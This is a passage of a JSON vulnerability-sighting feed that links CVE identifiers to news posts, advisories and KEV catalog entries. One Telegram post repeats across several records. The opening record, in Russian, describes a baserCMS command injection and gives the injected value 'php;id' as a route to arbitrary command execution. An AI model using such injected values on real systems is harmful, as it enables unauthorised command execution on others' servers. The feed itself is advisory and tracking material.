php \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438\u0437 POST-\u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u0432\u0430\u0436\u0434\u044b \u2014 \u043a\u0430\u043a \u043f\u0443\u0442\u044c \u043a \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0443 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0438 \u043a\u0430\u043a \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u0441\u043b\u0435 --php. \u0421\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u044b ;, |, &&, \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u043a\u0430\u0432\u044b\u0447\u043a\u0438 \u0438 $() \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438. \u041f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 php;id \u2014 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u00ab\u041d\u043e \u0432\u0435\u0434\u044c \u0435\u0441\u0442\u044c CSRF-\u0437\u0430\u0449\u0438\u0442\u0430!\u00bb \u2014 \u0441\u043a\u0430\u0436\u0435\u0442\u0435 \u0432\u044b. \u041d\u0435 \u043f\u043e\u043c\u043e\u0436\u0435\u0442. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 admin-\u0441\u0435\u0441\u0441\u0438\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 CSRF-\u0442\u043e\u043a\u0435\u043d \u0448\u0442\u0430\u0442\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c. \u0417\u0430\u043f\u0440\u043e\u0441 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u0435\u043d: \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 endpoint, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434, \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d. \u0421\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043d\u043e\u043f\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432 UI \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u043e \u2014 endpoint \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0447\u0435\u0440\u0435\u0437 curl \u0438\u043b\u0438 Burp Repeater.\n\n\ud83d\udc49\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n\n\u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 baserCMS \u2014 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c \u0434\u043e 5.2.3 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e. \u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0432 \u043e\u0434\u043d\u043e\u043c \u0440\u0435\u043b\u0438\u0437\u0435. \u0414\u0432\u0430 CVE, \u043e\u0434\u0438\u043d diff \u2014 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 injection-\u0432\u0435\u043a\u0442\u043e\u0440\u0430, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043e\u0434\u043d\u043e\u043c \u0430\u0443\u0434\u0438\u0442\u0435.\n\n\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f WAF, \u0445\u043e\u0441\u0442\u0430 \u0438 SIEM, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVSS-\u0432\u0435\u043a\u0442\u043e\u0440\u0430. \u0427\u0438\u0442\u0430\u0439\u0442\u0435 \u043d\u0430 \u0444\u043e\u0440\u0443\u043c\u0435.\n\nhttps://codeby.net/threads/cve-2026-21861-basercms-uyazvimost-os-command-injection-cherez-funktsiyu-obnovleniya-yadra.94977/", "creation_timestamp": "2026-08-06T08:00:04.264363Z"}, {"uuid": "be810d92-5263-49ed-8e5d-c130cd6d078f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3moylmnz77s2p", "content": "Microsoft corrige Zero-Day cr\u00edtico en SQL Server que permite a atacantes tomar el control total como admin | CVE-2026-21262 www.newstecnicas.com/2026/03/micr...", "creation_timestamp": "2026-06-23T23:48:30.984497Z"}, {"uuid": "2b36d803-254c-4040-918e-3e1ff549a959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://www.acn.gov.it/portale/w/fortibleed-esposizione-di-credenziali-ssl-vpn-associate-a-dispositivi-fortinet-esposti-su-internet", "content": "", "creation_timestamp": "2026-06-25T16:45:22.919022Z"}, {"uuid": "9898bd52-3077-4cd0-ac14-557d905a7bde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21525", "type": "seen", "source": "https://bsky.app/profile/summerc0n.bsky.social/post/3mp75uoyh4w2d", "content": "\ud83d\udd12 Speaker spotlight: Asritha Bodepudi (@TrailofBits) is walking us through building a Windows N-day exploit chain \u2014 CVE-2025-59230 + CVE-2026-21525 \u2014 live at #Summercon2026, July 10\u201311 in Brooklyn. summercon2026.eventbrite.com", "creation_timestamp": "2026-06-26T14:31:06.990379Z"}, {"uuid": "5d253c3f-069c-49c6-8edb-b6a65b961381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21653", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-204-01", "content": "", "creation_timestamp": "2026-08-13T08:49:10.941645Z"}, {"uuid": "9d4f05dc-a29c-4244-97ac-eefd9e10ce2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21655", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-204-01", "content": "", "creation_timestamp": "2026-08-13T08:49:15.448893Z"}, {"uuid": "239f19a9-7393-472b-8efa-40c1dbe5b8ff", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/60ec08e2-667c-4cb0-b78c-ac4058db2559", "content": "", "creation_timestamp": "2026-06-30T09:23:17.434808Z"}, {"uuid": "a0d18cf8-4f64-445c-b6bb-e1809eea8cc2", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1a581b3a-8460-4d4c-93ce-db446e30051b", "content": "", "creation_timestamp": "2026-06-30T09:23:55.153946Z"}, {"uuid": "9b2c7a4d-0601-45a4-b344-f28497f3fc5e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/030bef2d-8546-4246-bf9f-b9168c1627eb", "content": "", "creation_timestamp": "2026-06-30T09:23:37.456677Z"}, {"uuid": "899b1c1c-05b7-440f-803f-55dfa478af3f", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-21902", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/68c84b40-0817-4ba4-8223-b2429acc5f7c", "content": "", "creation_timestamp": "2026-06-30T09:41:53.520512Z"}, {"uuid": "dd582eca-6f9a-4eea-bbf7-5de14d60e45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21525", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:03.752309Z"}, {"uuid": "d1c09362-e834-4538-9508-d7f5decb1d5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:03.801718Z"}, {"uuid": "988ce830-80b4-4dbc-b2d0-b7640d4a2775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:03.844037Z"}, {"uuid": "ca926ca1-f7f7-4700-9639-c549752ec4f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/VulnerabilityNews/41878", "content": "CISA Adds Seven Known Exploited Vulnerabilities to Catalog\n\nCISA has added seven new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2012-1854 Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability\nCVE-2020-9715 Adobe Acrobat Use-After-Free Vulnerability\nCVE-2023-21529 Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability\nCVE-2023-36424 Microsoft Windows Out-of-Bounds Read Vulnerability\nCVE-2025-60710 Microsoft Windows Link Following Vulnerability\nCVE-2026-21643 Fortinet SQL Injection Vulnerability\nCVE-2026-34621 Adobe Acrobat and Reader Prototype Pollution Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/13/cisa-adds-seven-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-19T00:00:08.127149Z"}, {"uuid": "e4d14bc8-5e17-4d08-aa2f-8c28d851cb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/VulnerabilityNews/41922", "content": "CISA Adds 6 Known Exploited Flaws in Fortinet, Microsoft, and Adobe Software\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on\u00a0Monday added half a dozen security flaws to its Known Exploited Vulnerabilities\u00a0(KEV) catalog, citing evidence of active exploitation.\nThe list of vulnerabilities is as follows\u00a0-\n\nCVE-2026-21643 (CVSS score: 9.1) -\u00a0 An SQL injection vulnerability in\u00a0 Fortinet FortiClient EMS that could allow an\nhttps://thehackernews.com/2026/04/cisa-adds-6-known-exploited-flaws-in.html", "creation_timestamp": "2026-08-19T00:00:08.931440Z"}, {"uuid": "9c0ad888-89a1-4d19-a034-ff860e533e56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21580", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtfhe233md2m", "content": "\ud83d\udea8 CVE-2026-21580 \u2014 CVSS 9.3 CRITICAL\n\nThis Critical severity Stored XSS, PrivEsc (Privilege Escalation), and Security Misconfiguration vulnerabil...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-21580\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T00:17:27.380282Z"}, {"uuid": "6ae6c297-bedf-47e4-8843-f65f2dfb3c4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e 